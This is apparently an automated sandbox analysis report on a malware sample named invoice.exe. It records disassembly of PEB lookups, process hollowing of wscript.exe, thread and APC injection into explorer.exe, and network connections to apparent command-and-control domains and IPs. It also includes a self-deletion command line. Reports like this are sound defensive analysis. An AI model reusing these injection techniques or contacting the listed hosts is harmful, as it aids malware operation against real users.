Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04691DB5 mov eax, dword ptr fs:[00000030h]	9_2_04691DB5
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04691DB5 mov eax, dword ptr fs:[00000030h]	9_2_04691DB5
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04691DB5 mov eax, dword ptr fs:[00000030h]	9_2_04691DB5
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_047305AC mov eax, dword ptr fs:[00000030h]	9_2_047305AC
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_047305AC mov eax, dword ptr fs:[00000030h]	9_2_047305AC
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04692581 mov eax, dword ptr fs:[00000030h]	9_2_04692581
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04692581 mov eax, dword ptr fs:[00000030h]	9_2_04692581
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04692581 mov eax, dword ptr fs:[00000030h]	9_2_04692581
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04692581 mov eax, dword ptr fs:[00000030h]	9_2_04692581
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04662D8A mov eax, dword ptr fs:[00000030h]	9_2_04662D8A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04662D8A mov eax, dword ptr fs:[00000030h]	9_2_04662D8A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04662D8A mov eax, dword ptr fs:[00000030h]	9_2_04662D8A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04662D8A mov eax, dword ptr fs:[00000030h]	9_2_04662D8A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04662D8A mov eax, dword ptr fs:[00000030h]	9_2_04662D8A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0469FD9B mov eax, dword ptr fs:[00000030h]	9_2_0469FD9B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0469FD9B mov eax, dword ptr fs:[00000030h]	9_2_0469FD9B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0467766D mov eax, dword ptr fs:[00000030h]	9_2_0467766D
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0468AE73 mov eax, dword ptr fs:[00000030h]	9_2_0468AE73
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0468AE73 mov eax, dword ptr fs:[00000030h]	9_2_0468AE73
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0468AE73 mov eax, dword ptr fs:[00000030h]	9_2_0468AE73
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0468AE73 mov eax, dword ptr fs:[00000030h]	9_2_0468AE73
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0468AE73 mov eax, dword ptr fs:[00000030h]	9_2_0468AE73
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04677E41 mov eax, dword ptr fs:[00000030h]	9_2_04677E41
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04677E41 mov eax, dword ptr fs:[00000030h]	9_2_04677E41
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04677E41 mov eax, dword ptr fs:[00000030h]	9_2_04677E41
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04677E41 mov eax, dword ptr fs:[00000030h]	9_2_04677E41
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04677E41 mov eax, dword ptr fs:[00000030h]	9_2_04677E41
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04677E41 mov eax, dword ptr fs:[00000030h]	9_2_04677E41
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0472AE44 mov eax, dword ptr fs:[00000030h]	9_2_0472AE44
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0472AE44 mov eax, dword ptr fs:[00000030h]	9_2_0472AE44
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0466E620 mov eax, dword ptr fs:[00000030h]	9_2_0466E620
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0471FE3F mov eax, dword ptr fs:[00000030h]	9_2_0471FE3F
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0466C600 mov eax, dword ptr fs:[00000030h]	9_2_0466C600
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0466C600 mov eax, dword ptr fs:[00000030h]	9_2_0466C600
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0466C600 mov eax, dword ptr fs:[00000030h]	9_2_0466C600
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04698E00 mov eax, dword ptr fs:[00000030h]	9_2_04698E00
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0469A61C mov eax, dword ptr fs:[00000030h]	9_2_0469A61C
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0469A61C mov eax, dword ptr fs:[00000030h]	9_2_0469A61C
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04721608 mov eax, dword ptr fs:[00000030h]	9_2_04721608
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046776E2 mov eax, dword ptr fs:[00000030h]	9_2_046776E2
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046916E0 mov ecx, dword ptr fs:[00000030h]	9_2_046916E0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04738ED6 mov eax, dword ptr fs:[00000030h]	9_2_04738ED6
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046936CC mov eax, dword ptr fs:[00000030h]	9_2_046936CC
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A8EC7 mov eax, dword ptr fs:[00000030h]	9_2_046A8EC7
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0471FEC0 mov eax, dword ptr fs:[00000030h]	9_2_0471FEC0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046E46A7 mov eax, dword ptr fs:[00000030h]	9_2_046E46A7
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04730EA5 mov eax, dword ptr fs:[00000030h]	9_2_04730EA5
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04730EA5 mov eax, dword ptr fs:[00000030h]	9_2_04730EA5
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04730EA5 mov eax, dword ptr fs:[00000030h]	9_2_04730EA5
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046FFE87 mov eax, dword ptr fs:[00000030h]	9_2_046FFE87
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0467FF60 mov eax, dword ptr fs:[00000030h]	9_2_0467FF60
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04738F6A mov eax, dword ptr fs:[00000030h]	9_2_04738F6A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0467EF40 mov eax, dword ptr fs:[00000030h]	9_2_0467EF40
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04664F2E mov eax, dword ptr fs:[00000030h]	9_2_04664F2E
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04664F2E mov eax, dword ptr fs:[00000030h]	9_2_04664F2E
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0469E730 mov eax, dword ptr fs:[00000030h]	9_2_0469E730
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0469A70E mov eax, dword ptr fs:[00000030h]	9_2_0469A70E
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0469A70E mov eax, dword ptr fs:[00000030h]	9_2_0469A70E
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0473070D mov eax, dword ptr fs:[00000030h]	9_2_0473070D
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0473070D mov eax, dword ptr fs:[00000030h]	9_2_0473070D
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0468F716 mov eax, dword ptr fs:[00000030h]	9_2_0468F716
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046FFF10 mov eax, dword ptr fs:[00000030h]	9_2_046FFF10
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046FFF10 mov eax, dword ptr fs:[00000030h]	9_2_046FFF10
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A37F5 mov eax, dword ptr fs:[00000030h]	9_2_046A37F5
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04678794 mov eax, dword ptr fs:[00000030h]	9_2_04678794
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046E7794 mov eax, dword ptr fs:[00000030h]	9_2_046E7794
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046E7794 mov eax, dword ptr fs:[00000030h]	9_2_046E7794
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046E7794 mov eax, dword ptr fs:[00000030h]	9_2_046E7794
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04722073 mov eax, dword ptr fs:[00000030h]	9_2_04722073
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04731074 mov eax, dword ptr fs:[00000030h]	9_2_04731074
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04680050 mov eax, dword ptr fs:[00000030h]	9_2_04680050
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04680050 mov eax, dword ptr fs:[00000030h]	9_2_04680050
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0469002D mov eax, dword ptr fs:[00000030h]	9_2_0469002D
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0469002D mov eax, dword ptr fs:[00000030h]	9_2_0469002D
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0469002D mov eax, dword ptr fs:[00000030h]	9_2_0469002D
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0469002D mov eax, dword ptr fs:[00000030h]	9_2_0469002D
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0469002D mov eax, dword ptr fs:[00000030h]	9_2_0469002D
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0467B02A mov eax, dword ptr fs:[00000030h]	9_2_0467B02A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0467B02A mov eax, dword ptr fs:[00000030h]	9_2_0467B02A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0467B02A mov eax, dword ptr fs:[00000030h]	9_2_0467B02A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0467B02A mov eax, dword ptr fs:[00000030h]	9_2_0467B02A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04734015 mov eax, dword ptr fs:[00000030h]	9_2_04734015
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04734015 mov eax, dword ptr fs:[00000030h]	9_2_04734015
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046E7016 mov eax, dword ptr fs:[00000030h]	9_2_046E7016
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046E7016 mov eax, dword ptr fs:[00000030h]	9_2_046E7016
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046E7016 mov eax, dword ptr fs:[00000030h]	9_2_046E7016
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046658EC mov eax, dword ptr fs:[00000030h]	9_2_046658EC
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046FB8D0 mov eax, dword ptr fs:[00000030h]	9_2_046FB8D0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046FB8D0 mov ecx, dword ptr fs:[00000030h]	9_2_046FB8D0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046FB8D0 mov eax, dword ptr fs:[00000030h]	9_2_046FB8D0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046FB8D0 mov eax, dword ptr fs:[00000030h]	9_2_046FB8D0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046FB8D0 mov eax, dword ptr fs:[00000030h]	9_2_046FB8D0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046FB8D0 mov eax, dword ptr fs:[00000030h]	9_2_046FB8D0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A90AF mov eax, dword ptr fs:[00000030h]	9_2_046A90AF
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046920A0 mov eax, dword ptr fs:[00000030h]	9_2_046920A0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046920A0 mov eax, dword ptr fs:[00000030h]	9_2_046920A0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046920A0 mov eax, dword ptr fs:[00000030h]	9_2_046920A0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046920A0 mov eax, dword ptr fs:[00000030h]	9_2_046920A0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046920A0 mov eax, dword ptr fs:[00000030h]	9_2_046920A0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046920A0 mov eax, dword ptr fs:[00000030h]	9_2_046920A0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0469F0BF mov ecx, dword ptr fs:[00000030h]	9_2_0469F0BF
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0469F0BF mov eax, dword ptr fs:[00000030h]	9_2_0469F0BF
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0469F0BF mov eax, dword ptr fs:[00000030h]	9_2_0469F0BF
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04669080 mov eax, dword ptr fs:[00000030h]	9_2_04669080
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046E3884 mov eax, dword ptr fs:[00000030h]	9_2_046E3884
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046E3884 mov eax, dword ptr fs:[00000030h]	9_2_046E3884
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0466C962 mov eax, dword ptr fs:[00000030h]	9_2_0466C962
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0466B171 mov eax, dword ptr fs:[00000030h]	9_2_0466B171
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0466B171 mov eax, dword ptr fs:[00000030h]	9_2_0466B171
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0468B944 mov eax, dword ptr fs:[00000030h]	9_2_0468B944
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0468B944 mov eax, dword ptr fs:[00000030h]	9_2_0468B944
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04684120 mov eax, dword ptr fs:[00000030h]	9_2_04684120
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04684120 mov eax, dword ptr fs:[00000030h]	9_2_04684120
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04684120 mov eax, dword ptr fs:[00000030h]	9_2_04684120
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04684120 mov eax, dword ptr fs:[00000030h]	9_2_04684120
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04684120 mov ecx, dword ptr fs:[00000030h]	9_2_04684120
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0469513A mov eax, dword ptr fs:[00000030h]	9_2_0469513A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0469513A mov eax, dword ptr fs:[00000030h]	9_2_0469513A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04669100 mov eax, dword ptr fs:[00000030h]	9_2_04669100
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04669100 mov eax, dword ptr fs:[00000030h]	9_2_04669100
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04669100 mov eax, dword ptr fs:[00000030h]	9_2_04669100
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046F41E8 mov eax, dword ptr fs:[00000030h]	9_2_046F41E8
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0466B1E1 mov eax, dword ptr fs:[00000030h]	9_2_0466B1E1
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0466B1E1 mov eax, dword ptr fs:[00000030h]	9_2_0466B1E1
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0466B1E1 mov eax, dword ptr fs:[00000030h]	9_2_0466B1E1
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046E69A6 mov eax, dword ptr fs:[00000030h]	9_2_046E69A6
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046961A0 mov eax, dword ptr fs:[00000030h]	9_2_046961A0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046961A0 mov eax, dword ptr fs:[00000030h]	9_2_046961A0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046E51BE mov eax, dword ptr fs:[00000030h]	9_2_046E51BE
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046E51BE mov eax, dword ptr fs:[00000030h]	9_2_046E51BE
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046E51BE mov eax, dword ptr fs:[00000030h]	9_2_046E51BE
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046E51BE mov eax, dword ptr fs:[00000030h]	9_2_046E51BE
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0468C182 mov eax, dword ptr fs:[00000030h]	9_2_0468C182
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0469A185 mov eax, dword ptr fs:[00000030h]	9_2_0469A185
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04692990 mov eax, dword ptr fs:[00000030h]	9_2_04692990
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A927A mov eax, dword ptr fs:[00000030h]	9_2_046A927A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0471B260 mov eax, dword ptr fs:[00000030h]	9_2_0471B260
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0471B260 mov eax, dword ptr fs:[00000030h]	9_2_0471B260
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04738A62 mov eax, dword ptr fs:[00000030h]	9_2_04738A62
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04669240 mov eax, dword ptr fs:[00000030h]	9_2_04669240
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04669240 mov eax, dword ptr fs:[00000030h]	9_2_04669240
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04669240 mov eax, dword ptr fs:[00000030h]	9_2_04669240
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04669240 mov eax, dword ptr fs:[00000030h]	9_2_04669240
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0472EA55 mov eax, dword ptr fs:[00000030h]	9_2_0472EA55
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046F4257 mov eax, dword ptr fs:[00000030h]	9_2_046F4257
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A4A2C mov eax, dword ptr fs:[00000030h]	9_2_046A4A2C
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A4A2C mov eax, dword ptr fs:[00000030h]	9_2_046A4A2C
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04678A0A mov eax, dword ptr fs:[00000030h]	9_2_04678A0A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0466AA16 mov eax, dword ptr fs:[00000030h]	9_2_0466AA16
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0466AA16 mov eax, dword ptr fs:[00000030h]	9_2_0466AA16
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04683A1C mov eax, dword ptr fs:[00000030h]	9_2_04683A1C
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04665210 mov eax, dword ptr fs:[00000030h]	9_2_04665210
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04665210 mov ecx, dword ptr fs:[00000030h]	9_2_04665210
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04665210 mov eax, dword ptr fs:[00000030h]	9_2_04665210
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04665210 mov eax, dword ptr fs:[00000030h]	9_2_04665210
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04692AE4 mov eax, dword ptr fs:[00000030h]	9_2_04692AE4
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04692ACB mov eax, dword ptr fs:[00000030h]	9_2_04692ACB
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046652A5 mov eax, dword ptr fs:[00000030h]	9_2_046652A5
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046652A5 mov eax, dword ptr fs:[00000030h]	9_2_046652A5
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046652A5 mov eax, dword ptr fs:[00000030h]	9_2_046652A5
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046652A5 mov eax, dword ptr fs:[00000030h]	9_2_046652A5
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046652A5 mov eax, dword ptr fs:[00000030h]	9_2_046652A5
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0467AAB0 mov eax, dword ptr fs:[00000030h]	9_2_0467AAB0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0467AAB0 mov eax, dword ptr fs:[00000030h]	9_2_0467AAB0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0469FAB0 mov eax, dword ptr fs:[00000030h]	9_2_0469FAB0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0469D294 mov eax, dword ptr fs:[00000030h]	9_2_0469D294
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0469D294 mov eax, dword ptr fs:[00000030h]	9_2_0469D294
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0466DB60 mov ecx, dword ptr fs:[00000030h]	9_2_0466DB60
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04693B7A mov eax, dword ptr fs:[00000030h]	9_2_04693B7A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04693B7A mov eax, dword ptr fs:[00000030h]	9_2_04693B7A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0466DB40 mov eax, dword ptr fs:[00000030h]	9_2_0466DB40
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04738B58 mov eax, dword ptr fs:[00000030h]	9_2_04738B58
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0466F358 mov eax, dword ptr fs:[00000030h]	9_2_0466F358
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0472131B mov eax, dword ptr fs:[00000030h]	9_2_0472131B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0468DBE9 mov eax, dword ptr fs:[00000030h]	9_2_0468DBE9
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046903E2 mov eax, dword ptr fs:[00000030h]	9_2_046903E2
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046903E2 mov eax, dword ptr fs:[00000030h]	9_2_046903E2
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046903E2 mov eax, dword ptr fs:[00000030h]	9_2_046903E2
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046903E2 mov eax, dword ptr fs:[00000030h]	9_2_046903E2
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046903E2 mov eax, dword ptr fs:[00000030h]	9_2_046903E2
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046903E2 mov eax, dword ptr fs:[00000030h]	9_2_046903E2
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046E53CA mov eax, dword ptr fs:[00000030h]	9_2_046E53CA
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046E53CA mov eax, dword ptr fs:[00000030h]	9_2_046E53CA
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04694BAD mov eax, dword ptr fs:[00000030h]	9_2_04694BAD
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04694BAD mov eax, dword ptr fs:[00000030h]	9_2_04694BAD
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04694BAD mov eax, dword ptr fs:[00000030h]	9_2_04694BAD
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04735BA5 mov eax, dword ptr fs:[00000030h]	9_2_04735BA5
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04671B8F mov eax, dword ptr fs:[00000030h]	9_2_04671B8F
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04671B8F mov eax, dword ptr fs:[00000030h]	9_2_04671B8F
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0471D380 mov ecx, dword ptr fs:[00000030h]	9_2_0471D380
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0472138A mov eax, dword ptr fs:[00000030h]	9_2_0472138A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0469B390 mov eax, dword ptr fs:[00000030h]	9_2_0469B390
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04692397 mov eax, dword ptr fs:[00000030h]	9_2_04692397

Source: C:\Users\user\Desktop\invoice.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\invoice.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: www.highdeserthealthinsurance.com
Source: C:\Windows\explorer.exe	Network Connect: 74.208.236.64 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.dateyourlovelive.club
Source: C:\Windows\explorer.exe	Network Connect: 184.168.131.241 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.legacyadmin.support
Source: C:\Windows\explorer.exe	Domain query: www.gunungbatufrozen.com
Source: C:\Windows\explorer.exe	Domain query: www.hotelmaktub.com
Source: C:\Windows\explorer.exe	Domain query: www.flowhcf.com
Source: C:\Windows\explorer.exe	Network Connect: 192.0.78.24 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.sookepointcargo.com
Source: C:\Windows\explorer.exe	Domain query: www.jinlan.online
Source: C:\Windows\explorer.exe	Domain query: www.armaccountingbs.com
Source: C:\Windows\explorer.exe	Network Connect: 35.156.117.131 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 208.91.197.91 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 2.57.90.16 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.zmid.xyz
Source: C:\Windows\explorer.exe	Network Connect: 177.55.108.130 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.knoxvilleoutdoorkitchens.com

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\invoice.exe

Memory written: C:\Users\user\Desktop\invoice.exe base: 400000 value starts with: 4D5A

Jump to behavior

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\invoice.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Section loaded: unknown target: C:\Windows\SysWOW64\wscript.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Section loaded: unknown target: C:\Windows\SysWOW64\wscript.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\invoice.exe	Thread register set: target process: 3472			Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Thread register set: target process: 3472			Jump to behavior

Queues an APC in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\invoice.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\Desktop\invoice.exe

Section unmapped: C:\Windows\SysWOW64\wscript.exe base address: E0000

Jump to behavior

Source: C:\Users\user\Desktop\invoice.exe	Process created: C:\Users\user\Desktop\invoice.exe C:\Users\user\Desktop\invoice.exe			Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\invoice.exe'			Jump to behavior

Source: explorer.exe, 00000004.00000000.261500352.0000000005EA0000.00000004.00000001.sdmp, wscript.exe, 00000009.00000002.490705196.0000000002EE0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
